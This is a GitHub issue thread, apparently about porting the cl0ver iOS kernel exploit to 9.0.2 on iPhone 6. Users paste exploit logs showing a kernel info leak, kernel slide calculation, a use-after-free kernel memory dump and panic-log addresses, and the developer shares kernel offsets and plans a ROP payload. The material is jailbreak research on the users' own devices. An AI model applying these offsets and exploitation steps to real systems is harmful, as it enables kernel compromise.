[*] Dict: [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[0]: 0x000000d3 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[1]: 0x81000002 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[2]: 0x08000004 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[3]: 0x006c6f6c [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[4]: 0x84000400 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[5]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[6]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:59 _io_spawn_client]
[*] Getting IO service handle... [src/lib/io.c:45 _io_get_service]
[*] Getting IO master port... [src/lib/io.c:30 get_io_master_port]
[*] Creating dict iterator... [src/lib/io.c:72 _io_iterator]
[*] Getting next element from iterator... [src/lib/io.c:84 _io_next]
[*] Releasing user client... [src/lib/io.c:131 _io_release_client]
[*] Kernel stack: [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 0]: 0x6969696969696969 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 1]: 0xffffff801434a000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 2]: 0x00000000ff002bf1 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 3]: 0xffffff81163145cc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 4]: 0xffffff8117690fb4 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 5]: 0xffffff8119746d00 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 6]: 0xffffff81163145a0 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 7]: 0xffffff800dc93950 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 8]: 0xffffff8013ed4edc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 9]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[10]: 0xffffff8014350a50 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[11]: 0xffffff8116314000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[12]: 0xffffff801439ecc8 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[13]: 0x000000000000107
Shinjidai commented
After 4 tries of dumping the kernel this is the furthest I've got:
[*] Checking for config file... [src/lib/offsets.c:102 off_cfg]
[*] Yes, attempting to read anchor and vtab from config file... [src/lib/offsets.c:112 off_cfg]
[*] Anchor: 0xffffff800454a000, Vtab: 0xffffff8004503168 [src/lib/offsets.c:118 off_cfg]
[*] Dumping kernel to file [src/lib/exploit.c:40 dump_kernel]
[*] Dumping kernel, this will take some time... [src/lib/uaf_read.c:379 uaf_dump_kernel]
[*] Using info leak to get kernel slide... [src/lib/slide.c:64 get_kernel_slide]
[*] Dict: [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[0]: 0x000000d3 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[1]: 0x81000002 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[2]: 0x08000004 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[3]: 0x006c6f6c [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[4]: 0x84000400 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[5]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[6]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:59 _io_spawn_client]
[*] Getting IO service handle... [src/lib/io.c:45 _io_get_service]
[*] Getting IO master port... [src/lib/io.c:30 get_io_master_port]
[*] Creating dict iterator... [src/lib/io.c:72 _io_iterator]
[*] Getting next element from iterator... [src/lib/io.c:84 _io_next]
[*] Releasing user client... [src/lib/io.c:131 _io_release_client]
[*] Kernel stack: [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 0]: 0x6969696969696969 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 1]: 0xffffff800854a000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 2]: 0x00000000ff002bf1 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 3]: 0xffffff810cfcb5cc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 4]: 0xffffff810d2f80b4 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 5]: 0xffffff810b9b4100 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 6]: 0xffffff810cfcb5a0 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 7]: 0xffffff8007c7b950 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 8]: 0xffffff80080d4edc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 9]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[10]: 0xffffff8008550a50 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[11]: 0xffffff810cfcb000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[12]: 0xffffff800859ecc8 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[13]: 0x000000000000107
Shinjidai commented
After around 15 tries I got to buf[14] once, but I don't feel like it's going to progress much further.
gitNemo commented
I have this now when launched a game:
iPhone-6-de-Nemo:~ root# ./clover dump
[*] Checking for config file... [src/lib/offsets.c:102 off_cfg]
[*] Yes, attempting to read anchor and vtab from config file... [src/lib/offsets.c:112 off_cfg]
[*] Anchor: 0xffffff800454a000, Vtab: 0xffffff8004503168 [src/lib/offsets.c:118 off_cfg]
[*] Dumping kernel to file [src/lib/exploit.c:40 dump_kernel]
[*] Dumping kernel, this will take some time... [src/lib/uaf_read.c:379 uaf_dump_kernel]
[*] Using info leak to get kernel slide... [src/lib/slide.c:64 get_kernel_slide]
[*] Dict: [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[0]: 0x000000d3 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[1]: 0x81000002 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[2]: 0x08000004 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[3]: 0x006c6f6c [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[4]: 0x84000400 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[5]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[6]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:59 _io_spawn_client]
[*] Getting IO service handle... [src/lib/io.c:45 _io_get_service]
[*] Getting IO master port... [src/lib/io.c:30 get_io_master_port]
[*] Creating dict iterator... [src/lib/io.c:72 _io_iterator]
[*] Getting next element from iterator... [src/lib/io.c:84 _io_next]
[*] Releasing user client... [src/lib/io.c:131 _io_release_client]
[*] Kernel stack: [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 0]: 0x6969696969696969 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 1]: 0xffffff801334a000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 2]: 0x00000000ff002bf1 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 3]: 0xffffff8114f135cc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 4]: 0xffffff8118a1dab4 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 5]: 0xffffff811506f300 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 6]: 0xffffff8114f135a0 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 7]: 0xffffff8012143950 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 8]: 0xffffff8012ed4edc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 9]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[10]: 0xffffff8013350a50 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[11]: 0xffffff8114f13000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[12]: 0xffffff801339ecc8 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[13]: 0x0000000000001074 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[14]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[15]: 0xffffff801339e050 [src/lib/slide.c:44 get_kernel_anchor]
[*] Kernel slide: 0x000000000ee00000 [src/lib/slide.c:67 get_kernel_slide]
Shinjidai commented
Yep, launching a game seems to be helpful:
[*] Checking for config file... [src/lib/offsets.c:102 off_cfg]
[*] Yes, attempting to read anchor and vtab from config file... [src/lib/offsets.c:112 off_cfg]
[*] Anchor: 0xffffff800454a000, Vtab: 0xffffff8004503168 [src/lib/offsets.c:118 off_cfg]
[*] Dumping kernel to file [src/lib/exploit.c:40 dump_kernel]
[*] Dumping kernel, this will take some time... [src/lib/uaf_read.c:379 uaf_dump_kernel]
[*] Using info leak to get kernel slide... [src/lib/slide.c:64 get_kernel_slide]
[*] Dict: [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[0]: 0x000000d3 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[1]: 0x81000002 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[2]: 0x08000004 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[3]: 0x006c6f6c [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[4]: 0x84000400 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[5]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[6]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:59 _io_spawn_client]
[*] Getting IO service handle... [src/lib/io.c:45 _io_get_service]
[*] Getting IO master port... [src/lib/io.c:30 get_io_master_port]
[*] Creating dict iterator... [src/lib/io.c:72 _io_iterator]
[*] Getting next element from iterator... [src/lib/io.c:84 _io_next]
[*] Releasing user client... [src/lib/io.c:131 _io_release_client]
[*] Kernel stack: [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 0]: 0x6969696969696969 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 1]: 0xffffff8021b4a000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 2]: 0x00000000ff002bf1 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 3]: 0xffffff80010e35cc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 4]: 0xffffff8004c15bb4 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 5]: 0xffffff800251d700 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 6]: 0xffffff80010e35a0 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 7]: 0xffffff8020b7b950 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 8]: 0xffffff80216d4edc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 9]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[10]: 0xffffff8021b50a50 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[11]: 0xffffff80010e3000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[12]: 0xffffff8021b9ecc8 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[13]: 0x0000000000001074 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[14]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[15]: 0xffffff8021b9e050 [src/lib/slide.c:44 get_kernel_anchor]
[*] Kernel slide: 0x000000001d600000 [src/lib/slide.c:67 get_kernel_slide]
[*] Dumping kernel bytes 0xffffff8021604000-0xffffff8021605000... [src/lib/uaf_read.c:232 uaf_read]
Siguza commented
Alright, dumping isn't working so far.
I'm pretty sure I've got the anchor right, but either my payload is broken, or the OSString vtable is off.
If you want to, you could run another round of panics, to possibly verify the vtable's validity (we need just the panic logs now, cl0ver's output is no longer needed). Some of the values I've seen so far looked like they could be valid, but all of them showed up only once, and other values were way out of range.
The relevant value will be after pc= in "panicString". Assuming your panic log is called panic-XYZ.ips, here's a one-liner to extract that value:
fgrep panicString panic-XYZ.ips | sed -E 's#.*pc=(0x[0-9a-f]+).*#\1#'
Look out for two or more panic logs whose values start with 0xffffff80, and whose last 5 digits are the same.
If you find any such logs, there's a good chance that's gonna be it.
Shinjidai commented
I also got 03168 repeatedly:
0xffffff8010d03168*
0xffffff801b703168*
0xffffff811731df40
0xffffff8001e63430
0xffffff8002bd1060
0xffffff800121b280
0xffffff81165f6d60
0xffffff8002343c00
0xffffff8111bd9600
0xffffff801c103168*
0xffffff81171ce4c0
0xffffff800143c070
0xffffff80010dc740
Btw: Whenever I try to compile cl0ver I get a warning:
ld: warning: ignoring -seg1addr 0x100000000. Address out of range.
Not sure if that's an issue as cl0ver seems to work just fine but I just want to mention it.
gitNemo commented
Here's what I got after around 20 panics:
0xdeadbeef00000000
0xdeadbeef00000000
0xdeadbeef00000000
0xffffff8000fd1c40
0xffffff80014701e0
0xffffff8001d7d2e0
0xffffff80022c5760
0xffffff80024562a0
0xffffff8002e92ec0
0xffffff8004fa0a80
0xffffff80050d62c0
0xffffff8013103168 *
0xffffff8019f03168 *
0xffffff801e303168 *
0xffffff8109046e60
0xffffff810fa3d4c0
0xffffff8110dfa3d0
0xffffff81128a75a0
0xffffff8113093180
0xffffff81134d44e0
0xffffff81140a6940
0xffffff81149c7be0
0xffffff8115836dc0
0xffffff811784b790
0xffffff8118190c40
0xffffff811b0a3d90
0xffffff811c6666e0
Siguza commented
Okay, could one of you give me just one of these panic logs with a value ending in 03168?
@Shinjidai That warning can be ignored. It's from the 32-bit slice, where it has no effect and is not needed. But I guess I should fix that some time.
Shinjidai commented
Here are two of these panic logs:
https://ghostbin.com/paste/6p4yn
https://ghostbin.com/paste/c4j6n
Siguza commented
Looks like the vtable is correct then... guess I messed up my payload.
I attached a testing program that should panic your device with far=0x4141414141414141, just to check whether I can actually control the values I need. Could you please test that?
gitNemo commented
Tested it. I got nothing from the output.
But here's the panic log:
Shinjidai commented
Here's the panic log:
Siguza commented
Ok, I think I tracked it down to a bug I had: I forgot to add the kernel slide to the vtable, if it was read from a config file.
I just pushed a fix for that, please try ./cl0ver dump again with that.
gitNemo commented
ended with a panic
iPhone-6-de-Nemo:~ root# ./clover dump
[*] Checking for config file... [src/lib/offsets.c:102 off_cfg]
[*] Yes, attempting to read anchor and vtab from config file... [src/lib/offsets.c:112 off_cfg]
[*] Anchor: 0xffffff801234a000, Vtab (unslid): 0xffffff801e303168 [src/lib/offsets.c:118 off_cfg]
[*] Using info leak to get kernel slide... [src/lib/slide.c:64 get_kernel_slide]
[*] Dict: [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[0]: 0x000000d3 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[1]: 0x81000002 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[2]: 0x08000004 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[3]: 0x006c6f6c [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[4]: 0x84000400 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[5]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[6]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:59 _io_spawn_client]
[*] Getting IO service handle... [src/lib/io.c:45 _io_get_service]
[*] Getting IO master port... [src/lib/io.c:30 get_io_master_port]
[*] Creating dict iterator... [src/lib/io.c:72 _io_iterator]
[*] Getting next element from iterator... [src/lib/io.c:84 _io_next]
[*] Releasing user client... [src/lib/io.c:131 _io_release_client]
[*] Kernel stack: [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 0]: 0x6969696969696969 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 1]: 0xffffff800a74a000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 2]: 0x00000000ff002bf1 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 3]: 0xffffff810d8bd5cc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 4]: 0xffffff810c7fd1b4 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 5]: 0xffffff810e566700 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 6]: 0xffffff810d8bd5a0 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 7]: 0xffffff8009d13950 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 8]: 0xffffff800a2d4edc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 9]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[10]: 0xffffff800a750a50 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[11]: 0xffffff810d8bd000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[12]: 0xffffff800a79ecc8 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[13]: 0x0000000000001074 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[14]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[15]: 0xffffff800a79e050 [src/lib/slide.c:44 get_kernel_anchor]
[*] Kernel slide: 0xfffffffff8400000 [src/lib/slide.c:67 get_kernel_slide]
[*] Dumping kernel to file [src/lib/exploit.c:40 dump_kernel]
Siguza commented
@gitNemo Your config seems broken. You should have these exact values:
0xffffff800454a000
0xffffff8004503168
gitNemo commented
My bad :p corrected it.
I got this before it panic again:
iPhone-6-de-Nemo:~ root# ./clover dump
[*] Checking for config file... [src/lib/offsets.c:102 off_cfg]
[*] Yes, attempting to read anchor and vtab from config file... [src/lib/offsets.c:112 off_cfg]
[*] Anchor: 0xffffff800454a000, Vtab (unslid): 0xffffff8004503168 [src/lib/offsets.c:118 off_cfg]
[*] Using info leak to get kernel slide... [src/lib/slide.c:64 get_kernel_slide]
[*] Dict: [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[0]: 0x000000d3 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[1]: 0x81000002 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[2]: 0x08000004 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[3]: 0x006c6f6c [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[4]: 0x84000400 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[5]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[6]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:59 _io_spawn_client]
[*] Getting IO service handle... [src/lib/io.c:45 _io_get_service]
[*] Getting IO master port... [src/lib/io.c:30 get_io_master_port]
[*] Creating dict iterator... [src/lib/io.c:72 _io_iterator]
[*] Getting next element from iterator... [src/lib/io.c:84 _io_next]
[*] Releasing user client... [src/lib/io.c:131 _io_release_client]
[*] Kernel stack: [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 0]: 0x6969696969696969 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 1]: 0xffffff801014a000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 2]: 0x00000000ff002bf1 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 3]: 0xffffff811231f5cc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 4]: 0xffffff811576e5b4 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 5]: 0xffffff8112191400 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 6]: 0xffffff811231f5a0 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 7]: 0xffffff80090fb950 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 8]: 0xffffff800fcd4edc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 9]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[10]: 0xffffff8010150a50 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[11]: 0xffffff811231f000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[12]: 0xffffff801019ecc8 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[13]: 0x0000000000001074 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[14]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[15]: 0xffffff801019e050 [src/lib/slide.c:44 get_kernel_anchor]
[*] Kernel slide: 0x000000000bc00000 [src/lib/slide.c:67 get_kernel_slide]
[*] Dumping kernel to file [src/lib/exploit.c:40 dump_kernel]
[*] Dumping kernel, this will take some time... [src/lib/uaf_read.c:434 uaf_dump_kernel]
[*] Dumping kernel bytes 0xffffff800fc04000-0xffffff800fc05000... [src/lib/uaf_read.c:287 uaf_read]
[*] OS build: 13A452 [src/lib/device.c:102 get_os_version_internal]
[*] Dumping 0xffffff800fc04000-0xffffff800fc05000... [src/lib/uaf_read.c:333 uaf_read]
[*] Kernel segments: [src/lib/uaf_read.c:459 uaf_dump_kernel]
[*] Mem: 0xffffff800fc04000-0xffffff80100f4000 File: 0x0000000000000000-0x00000000004f0000 __TEXT [src/lib/uaf_read.c:470 uaf_dump_kernel]
[*] Mem: 0xffffff800fc07000-0xffffff801009152c File: 0x0000000000003000-0x000000000048d52c __TEXT.__text [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff8010091540-0xffffff80100b74cc File: 0x000000000048d540-0x00000000004b34cc __TEXT.__const [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80100b74cc-0xffffff80100f3da5 File: 0x00000000004b34cc-0x00000000004efda5 __TEXT.__cstring [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80100f4000-0xffffff80101b8000 File: 0x00000000004f0000-0x0000000000548000 __DATA [src/lib/uaf_read.c:470 uaf_dump_kernel]
[*] Mem: 0xffffff80100f4000-0xffffff80100f4208 File: 0x00000000004f0000-0x00000000004f0208 __DATA.__mod_init_func [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80100f4208-0xffffff80100f4408 File: 0x00000000004f0208-0x00000000004f0408 __DATA.__mod_term_func [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80100f8000-0xffffff8010115f88 File: 0x00000000004f4000-0x0000000000511f88 __DATA.__const [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff8010118000-0xffffff8010148018 File: 0x0000000000514000-0x0000000000544018 __DATA.__data [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff8010148018-0xffffff8010149e40 File: 0x0000000000544018-0x0000000000545e40 __DATA.__sysctl_set [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff8010149e40-0xffffff8010149e40 File: 0x0000000000545e40-0x0000000000545e40 __DATA.__llvm_prf_cnts [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff8010149e40-0xffffff8010149e40 File: 0x0000000000545e40-0x0000000000545e40 __DATA.__llvm_prf_data [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff8010149e40-0xffffff8010149e40 File: 0x0000000000545e40-0x0000000000545e40 __DATA.__llvm_prf_names__DATA [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff801014a000-0xffffff801014b100 File: 0x0000000000000000-0x0000000000001100 __DATA.__common [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff801014c000-0xffffff80101b4eb8 File: 0x0000000000000000-0x0000000000068eb8 __DATA.__bss [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80101b8000-0xffffff80101bc000 File: 0x0000000000548000-0x000000000054c000 __KLD [src/lib/uaf_read.c:470 uaf_dump_kernel]
[*] Mem: 0xffffff80101b8000-0xffffff80101b9258 File: 0x0000000000548000-0x0000000000549258 __KLD.__text [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80101b9258-0xffffff80101b9960 File: 0x0000000000549258-0x0000000000549960 __KLD.__cstring [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80101b9960-0xffffff80101b99c8 File: 0x0000000000549960-0x00000000005499c8 __KLD.__const [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80101b99c8-0xffffff80101b99d0 File: 0x00000000005499c8-0x00000000005499d0 __KLD.__mod_init_func [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80101b99d0-0xffffff80101b99d8 File: 0x00000000005499d0-0x00000000005499d8 __KLD.__mod_term_func [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80101b99d8-0xffffff80101b99d9 File: 0x0000000000000000-0x0000000000000001 __KLD.__bss [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80101bc000-0xffffff80101c0000 File: 0x000000000054c000-0x0000000000550000 __LAST [src/lib/uaf_read.c:470 uaf_dump_kernel]
[*] Mem: 0xffffff80101bc000-0xffffff80101bc008 File: 0x000000000054c000-0x000000000054c008 __LAST.__mod_init_func [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80101bc008-0xffffff80101bc008 File: 0x0000000000000000-0x0000000000000000 __LAST.__last [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff801021c000-0xffffff80116dc000 File: 0x00000000005ac000-0x0000000001a6c000 __PRELINK_TEXT [src/lib/uaf_read.c:470 uaf_dump_kernel]
[*] Mem: 0xffffff801021c000-0xffffff80116dc000 File: 0x00000000005ac000-0x0000000001a6c000 __PRELINK_TEXT.__text [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80101c0000-0xffffff80101c0000 File: 0x0000000000550000-0x0000000000550000 __PRELINK_STATE [src/lib/uaf_read.c:470 uaf_dump_kernel]
[*] Mem: 0xffffff80101c0000-0xffffff80101c0000 File: 0x0000000000550000-0x0000000000550000 __PRELINK_STATE.__kernel [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80101c0000-0xffffff80101c0000 File: 0x0000000000550000-0x0000000000550000 __PRELINK_STATE.__kexts [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80116dc000-0xffffff8011784000 File: 0x0000000001a6c000-0x0000000001b12d8a __PRELINK_INFO [src/lib/uaf_read.c:470 uaf_dump_kernel]
[*] Mem: 0xffffff80116dc000-0xffffff8011782d8a File: 0x0000000001a6c000-0x0000000001b12d8a __PRELINK_INFO.__info [src/lib/uaf_read.c:474 uaf_dump_kernel]
[*] Mem: 0xffffff80101c0000-0xffffff8010219280 File: 0x0000000000550000-0x00000000005a9280 __LINKEDIT [src/lib/uaf_read.c:470 uaf_dump_kernel]
[*] Kernel file size: 0x1b12d8a [src/lib/uaf_read.c:482 uaf_dump_kernel]
[*] Dumping __TEXT... [src/lib/uaf_read.c:498 uaf_dump_kernel]
[*] Dumping kernel bytes 0xffffff800fc04000-0xffffff80100f4000... [src/lib/uaf_read.c:287 uaf_read]
[*] Dumping 0xffffff800fc04000-0xffffff800fc0c000... [src/lib/uaf_read.c:333 uaf_read]
Siguza commented
Okay, now we're getting somewhere. :D
Dumping is unstable and chances are it's gonna panic a couple of times, but for maximum stability try this when dumping:
- Put your device in flight mode
- Kill all running apps
- Lock your device
Then pray and keep trying until, hopefully, you get a full dump. :)
I'll get to work on the offset finder and ROP payload in the meantime.
Siguza commented
Yes, that's the part I still have to port down to 9.0.2.
Shinjidai commented
I didn't manage to get a full kernel after around 50 tries. Waiting for the next version :)
TheonlyGermanGuy commented
I have another problem on n71map 9.0.2, which is this error:
Kernel slide is not a multiple of 0x100000 [src/lib/slide.c:71 get_kernel_slide]
In the /etc/cl0ver/config.txt file I used these values:
0xffffff800454a000
0xffffff8004503168
Here's a full log of cl0ver dump
Siguza commented
@TheonlyGermanGuy Then it seems that N71mAP and N61AP have quite different kernels.
From your output, it would seem that the anchor is most likely 0xffffff800453e000, but there's no telling the vtable. Care to run a few panic logs as lined out in #6 (comment)? :)
TheonlyGermanGuy commented
@Siguza After I run cl0ver panic, where can I find the panic logs, they don't appear in Settings > Privacy > Diagnostics & Usage > Diagnostics & Usage Data.
Siguza commented
That's the place where they will show up, if anywhere. It can happen that a panic doesn't generate a log though.
TheonlyGermanGuy commented
In Xcode the logs show up, but as Process: Unknown and Type: Unknwon and don't contain any Informtion except the identifier, date and boot stage, etc.
gitNemo commented
@TheonlyGermanGuy look at /var/mobile/Library/Logs/CrashReporter
effowe commented
@TheonlyGermanGuy panic logs can also be attained by syncing with iTunes. They will be on your computer at
~/Library/Logs/CrashReporter/MobileDevice/iDevice
Siguza commented
Okay, everything should fully work now on 9.0.2.
Shinjidai commented
Still cannot get it to properly dump my kernel though. Even after around 100 tries it continues to panic in the middle of the dumping process. I tried to use Cydia's safe mode + all apps closed, but somehow it won't work :/ Any idea how I could prevent my phone from panicking every time?
TheonlyGermanGuy commented
@gitNemo Yes, I have tried finding the panic log at that path too, though they don't seem to be there either. Using find to search for .ips also wasn't successfull.
Siguza commented
I'm sorry, I have no idea why it's so different from one case to another.
But if my offset finder works on 9.0.2 and @gitNemo gets an offsets.dat from his kernel dump and is kind enough to share it, then you could use that.
gitNemo commented
Sorry for the delayed response,
but it doesn't work for me either. It keep panicking ! Even after over 100 tries.
Shinjidai commented
Weird. Seems to be a general iPhone 6 issue then :/
gitNemo commented
